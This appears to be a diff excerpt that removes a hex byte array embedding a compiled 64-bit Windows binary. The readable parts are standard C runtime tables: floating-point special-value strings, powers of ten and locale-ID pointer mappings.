0x14, 0x50, 0xaa, - 0x8d, 0xab, 0x39, 0xea, 0x42, 0x34, 0x96, 0x97, 0xa9, 0xdf, 0xdf, 0x01, - 0xfe, 0xd3, 0xf3, 0xd2, 0x80, 0x02, 0x79, 0xa0, 0x37, 0x00, 0x00, 0x00, - 0x01, 0x9b, 0x9c, 0x50, 0xf1, 0xad, 0xdc, 0xc7, 0x2c, 0xad, 0x3d, 0x38, - 0x37, 0x4d, 0xc6, 0x73, 0xd0, 0x67, 0x6d, 0xea, 0x06, 0xa8, 0x9b, 0x51, - 0xf8, 0xf2, 0x03, 0xc4, 0xa2, 0xe1, 0x52, 0xa0, 0x3a, 0x23, 0x10, 0xd7, - 0xa9, 0x73, 0x85, 0x44, 0xba, 0xd9, 0x12, 0xcf, 0x03, 0x18, 0x87, 0x70, - 0x9b, 0x3a, 0xdc, 0x52, 0xe8, 0x52, 0xb2, 0xe5, 0x4e, 0xfb, 0x17, 0x07, - 0x2f, 0xa6, 0x4d, 0xbe, 0xe1, 0xd7, 0xab, 0x0a, 0x4f, 0xed, 0x62, 0x8c, - 0x7b, 0xec, 0xb9, 0xce, 0x21, 0x40, 0x66, 0xd4, 0x00, 0x83, 0x15, 0xa1, - 0xe6, 0x75, 0xe3, 0xcc, 0xf2, 0x29, 0x2f, 0x84, 0x81, 0x00, 0x00, 0x00, - 0x00, 0xe4, 0x17, 0x77, 0x64, 0xfb, 0xf5, 0xd3, 0x71, 0x3d, 0x76, 0xa0, - 0xe9, 0x2f, 0x14, 0x7d, 0x66, 0x4c, 0xf4, 0x33, 0x2e, 0xf1, 0xb8, 0xf3, - 0x8e, 0x0d, 0x0f, 0x13, 0x69, 0x94, 0x4c, 0x73, 0xa8, 0x0f, 0x26, 0x60, - 0x40, 0x13, 0x01, 0x3c, 0x0a, 0x88, 0x71, 0xcc, 0x21, 0x2d, 0xa5, 0x37, - 0xef, 0xc9, 0xda, 0x8a, 0xb4, 0x31, 0xbb, 0x42, 0x41, 0x4c, 0xf9, 0xd6, - 0x6c, 0x05, 0x8b, 0xc8, 0xb8, 0x01, 0x05, 0xe2, 0x7c, 0xed, 0x97, 0x52, - 0xc4, 0x61, 0xc3, 0x62, 0xaa, 0xd8, 0xda, 0x87, 0xde, 0xea, 0x33, 0xb8, - 0x61, 0x68, 0xf0, 0x94, 0xbd, 0x9a, 0xcc, 0x13, 0x6a, 0xd5, 0xc1, 0x8d, - 0x2d, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x13, 0xe8, 0x36, 0x7a, 0xc6, - 0x9e, 0x29, 0x16, 0xf4, 0x0a, 0x3f, 0x49, 0xf3, 0xcf, 0xa6, 0xa5, 0x77, - 0xa3, 0x23, 0xbe, 0xa4, 0x82, 0x5b, 0xa2, 0xcc, 0x2f, 0x72, 0x10, 0x35, - 0x7f, 0x44, 0x9d, 0xbe, 0xb8, 0x13, 0xc2, 0xa8, 0x4e, 0x32, 0x4c, 0xc9, - 0xad, 0x33, 0x9e, 0xbc, 0xba, 0xfe, 0xac, 0x76, 0x32, 0x21, 0x4c, 0x2e, - 0x32, 0xcd, 0x13, 0x3e, 0xb4, 0x91, 0xfe, 0x70, 0x36, 0xd9, 0x5c, 0xbb, - 0x85, 0x97, 0x14, 0x42, 0xfd, 0x1a, 0xcc, 0x46, 0xf8, 0xdd, 0x38, 0xe6, - 0xd2, 0x87, 0x07, 0x69, 0x17, 0xd1, 0x02, 0x1a, 0xfe, 0xf1, 0xb5, 0x3e, - 0xae, 0xab, 0xb9, 0xc3, 0x6f, 0xee, 0x08, 0x1c, 0xbe, 0x02, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x40, 0xaa, 0xc2, 0x40, 0x81, 0xd9, 0x77, 0xf8, 0x2c, - 0x3d, 0xd7, 0xe1, 0x71, 0x98, 0x2f, 0xe7, 0xd5, 0x09, 0x63, 0x51, 0x72, - 0xdd, 0x19, 0xa8, 0xaf, 0x46, 0x5a, 0x2a, 0xd6, 0xce, 0xdc, 0x02, 0x2a, - 0xfe, 0xdd, 0x46, 0xce, 0x8d, 0x24, 0x13, 0x27, 0xad, 0xd2, 0x23, 0xb7, - 0x19, 0xbb, 0x04, 0xc4, 0x2b, 0xcc, 0x06, 0xb7, 0xca, 0xeb, 0xb1, 0x47, - 0xdc, 0x4b, 0x09, 0x9d, 0xca, 0x02, 0xdc, 0xc5, 0x8e, 0x51, 0xe6, 0x31, - 0x80, 0x56, 0xc3, 0x8e, 0xa8, 0x58, 0x2f, 0x34, 0x42, 0x1e, 0x04, 0x8b, - 0x14, 0xe5, 0xbf, 0xfe, 0x13, 0xfc, 0xff, 0x05, 0x0f, 0x79, 0x63, 0x67, - 0xfd, 0x36, 0xd5, 0x66, 0x76, 0x50, 0xe1, 0xb9, 0x62, 0x06, 0x00, 0x00, - 0x00, 0x61, 0xb0, 0x67, 0x1a, 0x0a, 0x01, 0xd2, 0xc0, 0xe1, 0x05, 0xd0, - 0x3b, 0x73, 0x12, 0xdb, 0x3f, 0x2e, 0x9f, 0xa3, 0xe2, 0x9d, 0xb2, 0x61, - 0xe2, 0xdc, 0x63, 0x2a, 0xbc, 0x04, 0x26, 0x94, 0x9b, 0xd5, 0x70, 0x61, - 0x96, 0x25, 0xe3, 0xc2, 0xb9, 0x75, 0x0b, 0x14, 0x21, 0x2c, 0x1d, 0x1f, - 0x60, 0x6a, 0x13, 0xb8, 0xa2, 0x3b, 0xd2, 0x89, 0x73, 0x7d, 0xf1, 0x60, - 0xdf, 0xd7, 0xca, 0xc6, 0x2b, 0xdf, 0x69, 0x06, 0x37, 0x87, 0xb8, 0x24, - 0xed, 0x06, 0x93, 0x66, 0xeb, 0x6e, 0x49, 0x19, 0x6f, 0xdb, 0x8d, 0x93, - 0x75, 0x82, 0x74, 0x5e, 0x36, 0x9a, 0x6e, 0xc5, 0x31, 0xb7, 0x90, 0x36, - 0xc5, 0x42, 0x28, 0xc8, 0x8e, 0x79, 0xae, 0x24, 0xde, 0x0e, 0x00, 0x00, - 0x00, 0x00, 0x64, 0x41, 0xc1, 0x9a, 0x88, 0xd5, 0x99, 0x2c, 0x43, 0xd9, - 0x1a, 0xe7, 0x80, 0xa2, 0x2e, 0x3d, 0xf6, 0x6b, 0x3d, 0x79, 0x49, 0x82, - 0x43, 0xa9, 0xe7, 0x79, 0x4a, 0xe6, 0xfd, 0x22, 0x9a, 0x70, 0xd6, 0xe0, - 0xef, 0xcf, 0xca, 0x05, 0xd7, 0xa4, 0x8d, 0xbd, 0x6c, 0x00, 0x64, 0xe3, - 0xb3, 0xdc, 0x4e, 0xa5, 0x6e, 0x08, 0xa8, 0xa1, 0x9e, 0x45, 0x8f, 0x74, - 0xc8, 0x54, 0x8e, 0xfc, 0x57, 0xc6, 0x74, 0xcc, 0xd4, 0xc3, 0xb8, 0x42, - 0x6e, 0x63, 0xd9, 0x57, 0xcc, 0x5b, 0xb5, 0x35, 0xe9, 0xfe, 0x13, 0x6c, - 0x61, 0x51, 0xc4, 0x1a, 0xdb, 0xba, 0x95, 0xb5, 0x9d, 0x4e, 0xf1, 0xa1, - 0x50, 0xe7, 0xf9, 0xdc, 0x71, 0x7f, 0x63, 0x07, 0x2b, 0x9f, 0x2f, 0xde, - 0x9d, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x89, 0xbd, 0x5e, 0x3c, - 0x56, 0x37, 0x77, 0xe3, 0x38, 0xa3, 0xcb, 0x3d, 0x4f, 0x9e, 0xd2, 0x81, - 0x2c, 0x9e, 0xf7, 0xa4, 0x74, 0xc7, 0xf9, 0xc3, 0x97, 0xe7, 0x1c, 0x6a, - 0x38, 0xe4, 0x5f, 0xac, 0x9c, 0x8b, 0xf3, 0x07, 0xfa, 0xec, 0x88, 0xd5, - 0xac, 0xc1, 0x5a, 0x3e, 0xce, 0xcc, 0xaf, 0x85, 0x70, 0x3f, 0x1f, 0x9d, - 0xd3, 0x6d, 0x2d, 0xe8, 0x0c, 0x18, 0x7d, 0x17, 0x6f, 0x94, 0x69, 0x5e, - 0xe1, 0x2c, 0x8e, 0x64, 0x48, 0x39, 0xa1, 0x95, 0x11, 0xe0, 0x0f, 0x34, - 0x58, 0x3c, 0x17, 0xb4, 0x94, 0xf6, 0x48, 0x27, 0xbd, 0x57, 0x26, 0x7c, - 0x2e, 0xda, 0x8b, 0x75, 0xa0, 0x90, 0x80, 0x3b, 0x13, 0xb6, 0xdb, 0x2d, - 0x90, 0x48, 0xcf, 0x6d, 0x7e, 0x04, 0xe4, 0x24, 0x99, 0x50, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, - 0x02, 0x00, 0x00, 0x03, 0x05, 0x00, 0x00, 0x04, 0x09, 0x00, 0x01, 0x04, - 0x0d, 0x00, 0x01, 0x05, 0x12, 0x00, 0x01, 0x06, 0x18, 0x00, 0x02, 0x06, - 0x1e, 0x00, 0x02, 0x07, 0x25, 0x00, 0x02, 0x08, 0x2d, 0x00, 0x03, 0x08, - 0x35, 0x00, 0x03, 0x09, 0x3e, 0x00, 0x03, 0x0a, 0x48, 0x00, 0x04, 0x0a, - 0x52, 0x00, 0x04, 0x0b, 0x5d, 0x00, 0x04, 0x0c, 0x69, 0x00, 0x05, 0x0c, - 0x75, 0x00, 0x05, 0x0d, 0x82, 0x00, 0x05, 0x0e, 0x90, 0x00, 0x05, 0x0f, - 0x9f, 0x00, 0x06, 0x0f, 0xae, 0x00, 0x06, 0x10, 0xbe, 0x00, 0x06, 0x11, - 0xcf, 0x00, 0x07, 0x11, 0xe0, 0x00, 0x07, 0x12, 0xf2, 0x00, 0x07, 0x13, - 0x05, 0x01, 0x08, 0x13, 0x18, 0x01, 0x08, 0x15, 0x2d, 0x01, 0x08, 0x16, - 0x43, 0x01, 0x09, 0x16, 0x59, 0x01, 0x09, 0x17, 0x70, 0x01, 0x09, 0x18, - 0x88, 0x01, 0x0a, 0x18, 0xa0, 0x01, 0x0a, 0x19, 0xb9, 0x01, 0x0a, 0x1a, - 0xd3, 0x01, 0x0a, 0x1b, 0xee, 0x01, 0x0b, 0x1b, 0x09, 0x02, 0x0b, 0x1c, - 0x25, 0x02, 0x0b, 0x1d, 0x0a, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, - 0xe8, 0x03, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0xa0, 0x86, 0x01, 0x00, - 0x40, 0x42, 0x0f, 0x00, 0x80, 0x96, 0x98, 0x00, 0x00, 0xe1, 0xf5, 0x05, - 0x00, 0xca, 0x9a, 0x3b, 0x30, 0x00, 0x00, 0x00, 0x31, 0x23, 0x49, 0x4e, - 0x46, 0x00, 0x00, 0x00, 0x31, 0x23, 0x51, 0x4e, 0x41, 0x4e, 0x00, 0x00, - 0x31, 0x23, 0x53, 0x4e, 0x41, 0x4e, 0x00, 0x00, 0x31, 0x23, 0x49, 0x4e, - 0x44, 0x00, 0x00, 0x00, 0x75, 0x00, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x10, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x66, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x20, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x28, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x66, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x66, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x58, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x60, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x66, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x70, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x78, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x66, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x88, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x90, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x66, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xa0, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xa8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x66, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xb8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xc0, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x66, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xd0, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xd8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x1b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x66, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xe8, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1d, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf0, 0x66, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x66, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x08, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xc0, 0x57, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x18, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x28, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x30, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x2b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x58, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x2d, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x60, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x2f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x70, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x78, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x88, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x90, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xa0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xa8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x43, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb0, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xb8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x46, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xc0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x47, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x49, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xd0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x4a, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xd8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x4b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x4e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xe8, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x4f, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf0, 0x67, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x67, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x56, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x57, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x08, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x68, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x18, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x20, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x68, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x02, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x38, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x03, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x04, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x4d, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x05, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x58, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x06, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x68, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x07, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x68, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x08, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x88, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x09, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xb0, 0x41, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x0b, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x68, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x0c, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xa8, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0d, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xb8, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x0e, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x68, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x0f, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xd8, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x10, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xe8, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x11, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x4d, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x12, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xb0, 0x4d, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x13, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf8, 0x68, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x14, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x69, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x15, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x18, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x16, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x28, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x18, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x69, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x19, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1a, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x58, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x1b, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x69, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x1c, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x78, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x1d, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x88, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x1e, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x69, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x1f, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xa8, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x20, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xb8, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x21, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x69, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x22, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xd8, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x23, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xe8, 0x69, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x69, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x25, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x08, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x26, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x18, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x27, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x6a, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x29, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x38, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x2a, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x2b, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x6a, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x2c, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x68, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x2d, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x80, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x2f, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x6a, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x32, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xa0, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x34, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xb0, 0x6a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x35, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x6a, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x36, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xd0, 0x6a, 0x01, 0x80, 